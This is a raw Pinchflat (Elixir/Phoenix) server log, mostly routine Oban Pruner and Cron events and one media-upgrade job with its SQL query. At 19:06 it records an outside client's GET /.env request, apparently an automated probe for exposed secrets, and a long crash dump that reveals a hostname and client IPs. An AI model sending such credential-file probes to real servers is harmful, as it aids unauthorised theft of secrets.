[info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:35.391 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.731 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:05.393 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:35.395 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.732 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:05.397 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:35.399 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.733 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:05.401 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:35.403 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.734 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:05.405 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:35.407 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.735 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:05.409 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:35.411 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.736 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:05.413 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:35.415 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.737 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:05.417 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:35.419 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.738 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:05.421 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:35.423 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.739 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:05.425 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:35.427 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.740 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:05.429 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:35.431 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.741 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:05.433 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:35.435 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.742 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:05.437 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:35.439 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.743 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:05.441 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:35.443 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.744 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:05.445 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:35.447 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.745 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:05.449 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:35.451 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.746 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:05.453 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:35.455 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.747 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:05.457 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:35.459 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.748 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:05.461 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:35.463 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.749 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:05.465 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:35.467 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.750 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:05.469 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:35.471 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.751 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:05.473 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:35.475 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.752 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:05.477 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:35.479 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.753 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:05.481 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:35.483 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.754 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:05.485 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:35.487 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.755 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:05.489 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:35.491 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.756 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:05.493 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:35.495 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.757 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:05.497 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:35.499 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.758 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:05.501 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:35.502 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.759 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:05.505 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:35.507 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.760 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:05.509 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:35.511 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.761 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:05.513 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:35.515 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.762 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:05.517 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:35.519 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.763 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:05.521 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:35.523 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.764 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:05.525 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:35.527 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.765 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:05.529 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:35.531 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.766 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:05.533 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:35.535 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.767 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:05.537 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:35.539 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.768 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:05.541 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:35.543 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.769 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:05.545 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:35.547 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.770 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:05.549 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:35.551 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.771 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:05.553 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:35.555 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.772 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:05.557 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:35.559 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.773 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:05.561 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:35.563 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.774 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:05.565 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:35.567 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.777 [info] {"source":"oban","duration":2404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2639]} 19:00:00.784 [info] {"args":{},"id":2639,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765764000784596154,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.788 [debug] QUERY OK source="media_items" db=2.7ms idle=102.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 19:00:00.788 [info] Redownloading 0 media items 19:00:00.789 [info] {"args":{},"id":2639,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":4070,"event":"job:stop","queue_time":783031,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:05.569 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:35.571 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.778 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:05.573 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:35.576 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.779 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:05.578 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:35.580 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.780 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:05.583 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:35.585 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.781 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:05.587 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:35.589 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.782 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:05.591 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:35.593 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.783 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:05.595 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:12.834 [info] GET /.env 19:06:12.835 [debug] QUERY OK source="settings" db=0.2ms idle=693.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:12.836 [debug] QUERY OK source="settings" db=0.2ms idle=152.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:12.836 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:06:12.837 [error] #PID<0.269577.0> running PinchflatWeb.Endpoint (connection #PID<0.269576.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.269576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52446}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.82.13.170" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.269577.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36"}, {"x-forwarded-for", "45.82.13.170"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "45.82.13.170"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFBV3fRJFKBuucAKO7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.269576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52446}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.82.13.170" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.269576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52446}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.82.13.170" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.269577.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/ (truncated) 19:06:35.597 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.784 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:05.599 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:35.601 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.785 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:05.603 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:35.605 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.786 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:05.607 [info] 